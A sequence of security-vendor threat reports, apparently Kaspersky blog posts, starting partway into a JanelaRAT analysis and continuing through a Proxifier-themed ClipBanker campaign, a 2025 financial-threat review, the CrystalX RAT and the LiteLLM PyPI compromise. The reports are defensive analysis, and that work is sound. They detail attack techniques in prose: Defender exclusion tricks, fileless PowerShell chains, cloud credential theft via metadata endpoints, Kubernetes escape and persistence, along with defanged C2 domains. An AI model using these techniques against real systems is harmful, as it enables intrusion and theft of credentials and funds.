This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.
If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.
To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.
Action Performed
Description
Capture desktop image
Send compressed screenshots to the C2
Specific screenshots
Crop specific screen regions and exfiltrate images
Overlay windows
Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
Keylogging
Keystroke capture
Simulate keyboard
Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
Track mouse input
Move the cursor, simulate clicks, and report the cursor position
Display message
Show message boxes (custom title, text, buttons, or icons)
System shutdown
Execute a forced shutdown sequence
Command execution
Run CMD or PowerShell scripts/commands
Task Manager
manipulation
Launch Task Manager, find its window, and hide it to prevent discovery by the user
Check for banking security software process
Detect the presence of anti-fraud systems
Beaconing
Send host information (malware version, profile, presence of banking software)
Toggle internal modes
Enable and disable modes such as screenshot flow, key injection, or overlay visibility
Anti-analysis
Detect sandbox or automation tools
C2 infrastructure
Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.
Decoy overlay system
This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.
The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.
Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:
“Configuring Windows updates, please wait.”
“Do not turn off your computer; this could take some time.”
When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.
An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.
Anti-analysis techniques
In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.
Persistence
The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.
This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.
Victimology
Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.
According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.
Conclusions
JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.
This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.
To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.
At the start of the year, a certain Trojan caught our eye due to its incredibly long infection chain. In most cases, it kicks off with a web search for “Proxifier”. Proxifiers are speciaized software designed to tunnel traffic for programs that do not natively support proxy servers. They are a go-to for making sure these apps are functional within secured development environments.
By coincidence, Proxifier is also a name for a proprietary proxifier developed by VentoByte, which is distributed under a paid license.
If you search for Proxifier (or a proxifier), one of the top results in popular search engines is a link to a GitHub repository. That’s exactly where the source of the primary infection lives.
The GitHub project itself contains the source code for a rudimentary proxy service. However, if you head over to the Releases section, you’ll find an archive containing an executable file and a text document. That executable is actually a malicious wrapper bundled around the legitimate Proxifier installer, while the text file helpfully offers activation keys for the software.
Once launched, the Trojan’s first order of business is to add an exception to Microsoft Defender for all files with a TMP extension, as well as for the directory where the executable is sitting. The way the Trojan pulls this off is actually pretty exotic.
First, it creates a tiny stub file – only about 1.5 KB in size – in the temp directory under the name “Proxifier<???>.tmp” and runs it. This stub doesn’t actually do anything on its own; it serves as a donor process. Later, a .NET application named “api_updater.exe” is injected into it to handle the Microsoft Defender exclusions. To get this done, api_updater.exe decrypts and runs a PowerShell script using the PSObject class. PSObject lets the script run directly inside the current process without popping up a command console or launching the interpreter.
As soon as the required exclusions are set, the trojanized proxifier.exe extracts and launches the real Proxifier installer. Meanwhile, it quietly continues the infection in the background: it creates another donor process and injects a module named proxifierupdater.exe. This module acts as yet another injector. It launches the system utility conhost.exe and injects it with another .NET app, internally named “bin.exe”, which runs a PowerShell script using the same method as before.
The script is obfuscated and parts of it are encoded, but it really only performs four specific actions:
Add the “powershell” and “conhost” processes to Microsoft Defender exclusions.
Create a registry key at HKLM\SOFTWARE\System::Config and store another Base64-encoded PowerShell script inside it.
Set up a scheduled task to launch PowerShell with another script as an argument. The script’s task is to read the content of the created registry key, decode it, and transfer control to the resulting script.
Ping an IP Logger service at https[:]//maper[.]info/2X5tF5 to let the attackers know the infection was successful.
This wraps up the primary stage of the infection. As you can see, the Trojan attempts to use fileless (or bodiless) malware techniques. By executing malicious code directly in allocated memory, it leaves almost no footprint on the hard drive.
The next stage is launched along with the task created in the scheduler. This is what it looks like:
The task launches the PowerShell interpreter, passing the script from the arguments as input. As we already mentioned, it reads the contents of the previously created Config registry key, then decodes and executes it. This is yet another PowerShell script whose job is to download the next script from hardcoded addresses and execute it. These addresses belong to Pastebin-type services, and the content located there is encoded in several different ways at once.
Decoded and deobfuscated script from the Config registry key
The script from Pastebin continues the download chain. This time, the payload is located on GitHub.
Decoded script from Pastebin
It’s a massive script, clocking in at around 500 KB. Interestingly, the bulk of the file is just one long Base64 string. After decoding it and doing some deobfuscation, we end up with a script whose purpose is quite clear. It extracts shellcode from a Base64 string, launches the fontdrvhost.exe utility, injects the shellcode into it, and hands over control.
The shellcode, in turn, unpacks and sets up the code for the final payload. This is classic ClipBanker-like malware, and there’s nothing particularly fancy about it. It’s written in C++, compiled with MinGW, doesn’t bother with system persistence, and doesn’t even connect to the network. Its entire job is to constantly monitor the clipboard for strings that look like crypto wallet addresses belonging to various blockchain-based networks (Cardano, Algorand, Ethereum, Bitcoin, NEM, Stellar, BNB, Cosmos, Dash, Monero, Dogecoin, MultiversX, Arweave, Filecoin, Litecoin, Neo, Osmosis, Solana, THOR, Nano, Qtum, Waves, TRON, Ripple, Tezos, and ZelCash), and then swap them with the attackers’ own addresses.
The complete execution chain, from the moment the malicious installer starts until the ClipBanker code is running, looks like this:
Victims
Since the beginning of 2025, more than 2000 users of Kaspersky solutions have encountered this threat, most of them located in India and Vietnam. Interestingly, 70% of these detections came from the Kaspersky Virus Removal Tool, a free utility used to clean devices that are already infected. This underscores the importance of the preemptive protection: it is often cheaper and easier to prevent the infection than to face consequences of a successful attack.
Conclusion
This campaign is yet another perfect example of the old adage: “buy cheap, pay twice”. Trying to save a buck on software, combined with a lack of caution when hunting for free solutions, can lead to an infection and the subsequent theft of funds – in this case, cryptocurrency. The attackers are aggressively promoting their sites in search results and using fileless techniques alongside a marathon infection chain to stay under the radar. Such attacks are difficult to detect and stop in time.
To stay safe and avoid losing your money, use reliable security solutions that are able to prevent your device form being infected. Download software only from official sources. If for some reason you can’t use a reputable paid solution, we highly recommend thoroughly vetting the sites you use to download software.
In 2025, the financial cyberthreat landscape continued to evolve. While traditional PC banking malware declined in relative prevalence, this shift was offset by the rapid growth of credential theft by infostealers. Attackers increasingly relied on aggregation and reuse of stolen data, rather than developing entirely new malware capabilities.
To describe the financial threat landscape in 2025, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN), along with publicly available data and data on the dark web.
We analyzed the data for
financial phishing,
banking malware,
infostealers and the dark web.
Key findings
Phishing
Phishing activity in 2025 shifted toward e-commerce (14.17%) and digital services (16.15%), with attackers increasingly tailoring campaigns to regional trends and user behavior, making social engineering more targeted despite reduced focus on traditional banking lures.
Banking malware
Financial PC malware declined in prevalence but remained a persistent threat, with established families continuing to operate, while attackers increasingly prioritize credential access and indirect fraud over deploying complex banking Trojans. To the contrary, mobile banking malware continues growing, as we wrote in detail in our mobile malware report.
Infostealers and the dark web
Infostealers became a central driver of financial cybercrime, fueling a growing dark web economy where stolen credentials, payment data, and full identity profiles are traded at scale, enabling widespread and destructive fraud operations.
Financial phishing
In 2025, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. Attackers leveraged increasingly convincing social engineering techniques and brand impersonation to exploit user trust. Rather than relying solely on volume, campaigns showed greater targeting and contextual adaptation, reflecting a maturation of phishing operations.
The distribution of top phishing categories in 2025 shows a clear shift toward digital platforms that aggregate multiple user activities, with web services (16.15%), online games (14.58%), and online stores (14.17%) leading globally. Compared to 2024, the rise of online games and the decline of social networks and banks indicate that attackers are increasingly targeting environments where users are more likely to take a risk or engage impulsively. Categories such as instant messaging apps and global internet portals remain significant phishing targets, reflecting their role as communication and access hubs that can be exploited for credential harvesting.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2025 (download)
Regional patterns further reinforce the adaptive nature of phishing campaigns, showing that attackers closely align category targeting with local digital habits. For example, online stores dominate heavily in the Middle East.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the Middle East, 2025 (download)
Online games and instant messaging platforms feature more prominently in the CIS, suggesting a focus on younger or highly connected user bases.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in the CIS, 2025 (download)
APAC demonstrates almost equal shares of online games and banks which signifies a combined approach targeting different users.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in APAC, 2025 (download)
In Africa, a stronger emphasis on banks reflects the continued importance of traditional financial services. Most likely, this is due to the lower security level of the financial institutions in the region.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Africa, 2025 (download)
Whereas in LATAM, delivery companies appearing in the top categories indicate attackers exploiting the growth of e-commerce logistics.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Latin America, 2025 (download)
Europe presents a more balanced distribution across categories, pointing to diversified attack strategies.
TOP 10 categories of organizations mimicked by phishing and scam pages that were blocked on home users’ devices in Europe, 2025 (download)
Attackers actively localize their tactics to maximize relevance and effectiveness.
The distribution of financial phishing pages by category in 2025 reveals strong regional asymmetries that reflect both user behavior and attacker prioritization.
Globally, online stores dominated (48.45%), followed by banks (26.05%) and payment systems (25.50%). The decline in bank phishing may suggest that these services are becoming increasingly difficult to successfully impersonate, so fraudsters are turning to easier ways to access users’ finances.
However, this balance shifts significantly at the regional level.
In the Middle East, phishing is overwhelmingly concentrated on e-commerce (85.8%), indicating a heavy reliance on online retail lures, whereas in Africa, bank-related phishing leads (53.75%), which may indicate that user account security there is still insufficient. LATAM shows a more balanced distribution but with a higher share of online store targeting (46.30%), while APAC and Europe display a more even spread across all three categories, pointing to diversified attack strategies. These variations suggest that attackers are not operating uniformly but are instead adapting campaigns to regional digital habits, payment ecosystems, and trust patterns – maximizing effectiveness by aligning phishing content with the most commonly used financial services in each market.
Distribution of financial phishing pages by category and region, 2025 (download)
Online shopping scams
The distribution of organizations mimicked by phishing and scam pages in 2025 highlights a clear shift toward globally recognized digital service and e-commerce brands, with attackers prioritizing platforms that have large, active user bases and frequent payment interactions.
Netflix (28.42%) solidified its ranking as the most impersonated brand, followed by Apple (20.55%), Spotify (18.09%), and Amazon (17.85%). This reflects a move away from traditional retail-only targets toward subscription-based and ecosystem-driven services.
TOP 10 online shopping brands mimicked by phishing and scam pages, 2025 (download)
Regionally, this trend varies: Netflix dominates heavily in the Middle East, Apple leads in APAC, while Spotify ranks first across Europe, LATAM, and Africa. Although most of the top platforms are highly popular across different regions, we may suggest that the attackers tailor brand impersonation to regional popularity and user engagement.
Payment system phishing
Phishing campaigns are impersonating multiple payment ecosystems to maximize coverage. While PayPal was the most mimicked in 2024 with 37.53%, its share dropped to 14.10% in 2025. Mastercard, on the contrary, attracted cybercriminals’ attention, its share increasing from 30.54% to 33.45%, while Visa accounted for a significant 20.06% (last year, it wasn’t in the TOP 5), reinforcing the growing focus on widely used banking card networks. The continued presence of American Express (3.87%) and the increasing number of pages mimicking PayPay (11.72%) further highlight attacker experimentation and regional adaptation.
TOP 5 payment systems mimicked by phishing and scam pages, 2025 (download)
Financial malware
In 2025, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics.
Changes in the number of unique users attacked by banking malware, by month, 2023–2025 (download)
Windows systems remained the primary platform targeted by attackers with financial malware. According to Kaspersky Security Bulletin, overall detections included 1,338,357 banking Trojan attacks globally from November 2024 to October 2025, though this number is also declining due to increasing focus on mobile vectors. Desktop threats continued to be distributed via traditional delivery methods like malicious emails, compromised websites, and droppers.
In 2025, Brazilian-origin families such as Grandoreiro (part of the Tetrade group) stood out for their constant activity and global reach. Despite a major law enforcement disruption in early 2024, Grandoreiro remained active in 2025, re-emerging with updated variants and continuing to operate. Other notable actors included Coyote and emerging families like Maverick, which abused WhatsApp for distribution while maintaining fileless techniques and overlaps with established Brazilian banking malware to steal credentials and enable fraudulent transactions on desktop banking platforms. Besides traditional bankers, other Brazilian malware families are worth mentioning, which specifically target relatively new and highly popular regional payment systems. One of the most prominent threats among these is GoPix Trojan focusing on the users of Brazilian Pix payment system. It is also capable of targeting local Boleto payment method, as well as stealing cryptocurrency.
There was also a surge in incidents in 2025 in which fraudsters targeted organizations through electronic document management (EDM) systems, for example, by substituting invoice details to trick victims into transferring funds. The Pure Trojan was most frequently encountered in such attacks. Attackers typically distribute it through targeted emails, using abbreviations of document names, software titles, or other accounting-related keywords in the headers of attached files. Globally in the corporate segment, Pure was detected 896 633 times over 2025, with over 64 thousand users attacked.
Contrary to PC banking malware, mobile banker attacks grew by 1.5 times in 2025 compared to the previous reporting period, which is consistent with their growth in 2024. They also saw a sharp surge in the number of unique installation packages. More statistics and trends on mobile banking malware can be found in our yearly mobile threat report.
Complementing traditional financial malware, infostealers played a significant role in enabling financial crime both on PCs and mobile devices by harvesting credentials, cookies, and autofill data from browsers and applications, which attackers then used for account takeovers or direct banking fraud. Kaspersky analyses pointed to a surge in infostealer detections (up by 59% globally on PCs), fueling credential-based attacks.
Financial cyberthreats on the dark web
The Kaspersky Digital Footprint Intelligence (DFI) team closely monitors infostealer activity on both PC and mobile devices to analyze emerging trends and assess the evolving tactics of cybercriminals.
Fraudsters especially target financial data such as payment cards, cryptocurrency wallets, login credentials and cookies for banking services, as well as documents stored on the victim’s device. The stolen data is collected in log files and shared on dark web resources, where they are bought, sold, or distributed freely and then used for financial fraud.
With access to financial data, fraudsters can gain control of users’ bank accounts and payment cards, and withdraw funds. Compromised accounts and cards are also frequently used in subsequent activities, turning the victims into intermediaries in a fraud scheme.
Compromised accounts
Kaspersky DFI found that in 2025, over one million online banking accounts (these are not Kaspersky product users) served by the world’s 100 largest banks fell victim to infostealers: their credentials were being freely shared on the dark web.
The countries with the highest median number of compromised accounts per bank were India, Spain, and Brazil.
The chart below shows the median number of compromised accounts per bank for the TOP 10 countries.
TOP 10 countries with the highest compromised account median (download)
Compromised payment cards
Seventy-four percent of payment cards that were compromised by infostealer malware, published on dark web resources and identified by the Digital Footprint Intelligence team in 2025, remained valid as of March 2026. This means that attackers could still use the cards that had been stolen months or even years prior.
It should be noted that the number of bank accounts and payment cards known to have been compromised by infostealers in 2025 will continue to rise, because fraudsters do not publish the log files immediately after the compromise but only after a delay of months or even years.
Data breaches
Regardless of the industry in which the target company operates, data breaches often expose users’ financial data, including payment card information, bank account details, transaction histories and other financial information. As a consequence, the compromised databases are sold and distributed on underground resources.
It should be noted that the threat is not limited to the exposure of financial information alone. Various identity documents and even seemingly public data, such as names, phone numbers and email addresses, can become a risk when they are published on the dark web. Such data attracts fraudsters’ attention and can be used in social engineering attacks to gain access to the user’s financial assets.
An example of a post offering a database
Sale of bank accounts and payment cards
The dark web often features services provided by stores that specialize in selling bank accounts and payment cards. Fraudsters typically obtain data for sale from a variety of sources, including infostealer logs and leaked databases, which are first repackaged and then combined.
Examples of a post (top) and a site (bottom) offering payment cards
Often, sellers offer complete victim profiles, referred to by fraudsters as “fullz”. These include not only bank accounts or payment cards but also identification documents, dates of birth, residential addresses, and other personal details. A full‑information package is usually more expensive than a payment card or a bank account alone.
Examples of a post (top) and a site (bottom) offering bank accounts
Compiled databases
Fraudsters exploit various sources, including previously leaked databases, to compile new, thematic ones. Finance- and, in particular, cryptocurrency-related databases, are among the most popular. Compilations aimed at specific user groups, such as the elderly or wealthy people, are also of interest to cybercriminals.
Usually, thematic databases contain personal information about users, such as names, phone numbers, and email addresses. Fraudsters can use this data to launch social engineering attacks.
An example of a message offering compiled databases
Creation of phishing websites
Phishing websites have become a powerful tool for the financial enrichment of fraudsters. Cybercriminals create fraudulent sites that masquerade as legitimate resources of companies operating in various industries. Gambling and retail sites remain among the most popular targets.
In order to obtain personal and financial information from unsuspecting users, adversaries seek out ways to create such phishing websites. Ready-made layouts and website copies are sold on the dark web and advertised as profitable tools. Moreover, fraudsters offer phishing website creation services.
Examples of posts offering creation of phishing websites
Conclusion
The decline of traditional PC banking malware is not an indicator of reduced risk; rather, it highlights a redistribution of attacker effort toward more efficient methods targeting mobile devices, credential theft, and social engineering. Infostealers, in particular, are a force multiplier, enabling widespread compromise at scale.
Looking ahead to 2026, the financial threat landscape is expected to become even more data-driven and automated. Organizations must adapt by focusing on identity protection, real-time monitoring, and cross-channel threat intelligence, while users must remain vigilant against increasingly sophisticated and personalized attack techniques.
In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.
Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.
Technical details
Background
The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.
After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.
The builder and anti-debug features
By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:
MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
VM detect: checking running processes, presence of guest tools, and hardware characteristics
Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump
Stealer capabilities
When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.
The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.
Keylogger & clipper
Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:
The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.
The final script looks as follows:
Remote access
The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.
Prank commands
The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.
Setting a background: downloading an image from a specified URL and using it as the desktop background.
Display orientation: rotating the screen 90°, 180°, or 270°.
System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
Remapping mouse buttons: swapping left click with right click and the other way round.
Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
Notifications: displaying a window with a custom title and message.
Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.
Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.
Conclusions
The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.
A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.
This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.
Repository compromise
The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added.
Technical analysis
Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started.
Example of the malicious code in proxy_server.py
The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it.
The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.
The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server.
What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:
SSH keys
GIT accounts
.env files
AWS, Kubernetes, email service, database, and WireGuard configurations
files related to Helm, Terraform, and CI
TLS keys and certificates
A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.
The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.
Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.
In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level.
Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.
A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd.
OpenVSX version of the malware
While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.
This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.
Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.
Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.
Victimology
While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.
Conclusion
As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.
Prevention and protection
To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats.
Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection.
